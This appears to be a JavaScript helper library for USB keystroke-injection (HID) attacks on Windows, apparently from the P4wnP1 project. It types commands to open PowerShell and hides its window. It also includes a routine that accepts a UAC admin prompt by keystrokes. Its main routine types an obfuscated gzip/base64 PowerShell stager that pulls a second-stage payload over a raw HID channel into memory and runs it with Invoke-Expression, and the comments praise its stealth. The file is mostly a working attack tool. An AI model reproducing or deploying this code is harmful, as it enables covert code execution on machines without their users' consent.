78 lines
5.0 KiB
JavaScript
Executable File

/*
Common helper methods for HID attacks
author: MaMe82
*/
ps_wow64='%SystemRoot%\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe'
ps="powershell.exe"
// sets typing speed to "natural" (global effect on all running script jobs)
function natural() {
typingSpeed(100,150) // Wait 100ms between key strokes + an additional random value between 0ms and 150ms (natural)
}
// sets typing speed as fast as possible
function fast() {
typingSpeed(0,0)
}
// Open an interactive PowerShell console (host architecture)
function startPS() {
press("GUI r");
delay(500);
type("powershell\n")
}
// Hide an already opened PowerShell console, but keep input focus, to gon on typing
function hidePS() {
type('$h=(Get-Process -Id $pid).MainWindowHandle;$ios=[Runtime.InteropServices.HandleRef];$hw=New-Object $ios (1,$h);$i=New-Object $ios(2,0);(([reflection.assembly]::LoadWithPartialName("WindowsBase")).GetType("MS.Win32.UnsafeNativeMethods"))::SetWindowPos($hw,$i,0,0,100,100,16512)')
press("ENTER");
}
// On a powershell prompt, check if the running PS is 32bit, start an inline 32bit PowerShell, otherwise.
function assurePS32() {
type("if ([IntPtr]::Size -ne 4){& $env:SystemRoot\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe}\n");
delay(500);
}
// Uses search bar and CTRL+SHIFT+ENTER to run given program as admin (assumes user is admin, only confirms UAC dialog)
function win10AsAdmin(program) {
press("GUI"); //open search
delay(200);
type(program); //enter target binary
delay(500); // wait for search to finish
press("CTRL SHIFT ENTER"); //start with CTRL+SHIFT+ENTER (run as admin)
delay(500); //wait for confirmation dialog (no check if a password is required, assume login user is admin)
press("SHIFT TAB"); //switch to dialog confirmation
press("ENTER");
}
// Streams PS code via a HID channel into memory and executes the received result with IEX.
// The second stage code has to be provided by hidstager.py.
// PID and VID in used by the raw HID device have to be provided as string arguments in format "1D6B", "4137".
//
// The advantages of delivery via raw HID:
// - the channel allows to transfer large payloads silently (about 32KByte/s on USB 2.0)
// - the payload goes to memory, not to disk
// - combined with hidePS, typing out his stager could be done nearly invisible (2131 characters have to be typed here)
// The disadvantages of delivery via raw HID:
// - the payload is executed with Invoke-Expression (iex) after transfer, which is 'loud' again
// - the PID and VID of the (raw) HID device in use have to be known, in order to allow the stager to identify the device
// (the stager manages to find the correct interface itself, if multiple HID interfaces, like keyboard and mouse, are up)
function hidDownAndIEX(vid, pid) {
type("$USB_VID='"+ vid +"';$USB_PID='" + pid +"';");
type("$b='H4sIAAAAAAAEAKVXbU/bSBD+jsR/sFzfxRGJ5VBaISR0Bwm0kUobNXA9XbDQxh4ne9jeaL1OG/X47zezu7YT2lSqCoLYuzPPPPO6m8ODtCpixUXhfIQ0g1gNJTAF1zyDG1BLkfjdw4OvhwdeInLn3JldrFYjkTNeRGdnw0pKKJR5JxGGEu/hc//D/F9EqhERPLgoS8jn2eY9y8F3b9gNnB6PNkW97KIRj81RnewEI0h5AbjPch7XMj7i95zZFuhVzlWDfFnxLAF5EcdQlkjuY1UQaK5B2XwX80YkVbZNxCy4Pce7ZlkJpKm0Zl5r3m5WjQLKuZNqnvG45wwzVpaaf5xShFDPatj4uW1E3V3+RuBCKcnnlYIyalGniikek/y4UBMlI3wiBrMocv70Z1NUKRaR2X55TA93zVOrcbd/1+lqygmnpGKsFM8hwD2QYjUFueYYxmCUZeN8JaRqOEbBG1BDUZRKVrES0m/JGMCUacDWyWsOWTIuUmGp/6Qtre67V4WSm4nghXK7vZ8mbEEmEkqUhClf/ALKFNQ7VqorKYX8BZghyzIMG8ZyjT2EkfoVrCWTSMu1KUjXOgmmC03Yd4vQu5UVNB97jX5DEdvqEy/Yiv9IyXBB0YtKCUMo3j8YdA8Pq1KJvHHNtrJP5dkj8o8gC8heHgdJllGYqMz0f/TUdl6ANp/B+NqyaeXA+K+bGFeeDtu510YGCxlYfi1FPgJyZsLU0vfyPM7QX1vljrfCVTsTl3pC4D7OwgbF1xJNa4Z/D0PzQ0sfAhJphxSw5JPkCtrGPDv7B+PZyuJkAlz8sIKi7ePwy8kW6LaiHqREixhcCpEBK6KQYnQ+u+GxFKVIVYBZxGhOWQpvWZFkmDZ6JnPm/Xmbl353Fka1xzEmfS0e0VMd3ZSd73eM6JwTGY9SZmPy+mSL3MCQswgmB9+zPzhBAhJUJYvnFLbTWUKRPCRMMd9LEQ8Nl6KSMT0kUCr6wE38kBADX0Nic8nPKUrzDc7h3WK9xKVZ5PivX3VrgZnHj44i6jF6jZxw34a1vXebGO3fRJ7BOygWarlXpnZCn74oPhSrza3wjTQ6yYlzAmsKRaAT0uxh6ZhHa+NZHDEN23G0UZI/ik0s9QFurVEJ+J7shT2zawIsgabYA09IVBp/cLmU8e5CUqpnEsUzFRmvdxfycvF9dqSLDGYXUrIN3VswSMQMw4N/qGaCYaTqCkNGVCu6YnCHCiZeG/HdQGGlbo+Lu+nlw1/jEUrS02Q8spF7Ox69qXhy7n49SQbw6tX8uJ8OXqf9wSBO+6en8bwfhgP8oaZ+GT65aEFgDuIl8v+cc4yqwwtngY+O7t4HhMcOUVJkGUjDwPnvt68zlIh87wEvITgyEhzc3Sen6yAFnjZQgZEfj5x+zhTZcGvirnPkdH5H3g8dfHJrL9yu08fR4OwF6KCDHSvUL4RqJO3JoClQcdB0xDy59/d/3JOxWm7yflKDYu2sMhaD37nv9DovEBaZvNDCNow6BU8toHmhUYzQe26yKECi57sZc2rHm4S1HYNYPz4dzPQ3ZwI1gMBDEZX6NNNKxRZwTJ5iLj3IV2rz/fIMsULwdqPL5POSzPpNE+2OZQwsOF5RZZkpqmbWNV3nhPhrjYXa4fgRiFLTzo2oLQgjgdNdg4cGOMbC4kUFOqzbYoP9Yl6l0lMaTbfwRQVXRSwSOjDPzu5ur09pnpsTtIE6iboWmxQDvPFKVX7i2EMuubUEfJ9j8OvK8214+wuF9g2BObr12JL8BmgOC15sQ9lmrBOFIZrRMYMnEd1taD6+w5s7XvIIxDHTFUk7JpmumZGA3xC0vZpQE5A66Uc4mIhMYwoXBt/a8t3AQj7tI2IB0U/zPQcS0uDwxbG2zDDCW1mWbew3NVs7w0yU+rbTrIx4ubJrqHR48D9inn4F/g0AAA==';nal no New-Object -F;iex (no IO.StreamReader(no IO.Compression.GZipStream((no IO.MemoryStream -A @(,[Convert]::FromBase64String($b))),[IO.Compression.CompressionMode]::Decompress))).ReadToEnd()");
press("ENTER");
}
layout('de'); // US keyboard layout
fast();
startPS();
delay(500);
assurePS32();
delay(500);
//hidePS();
//delay(500);
hidDownAndIEX("1D6B", "1347");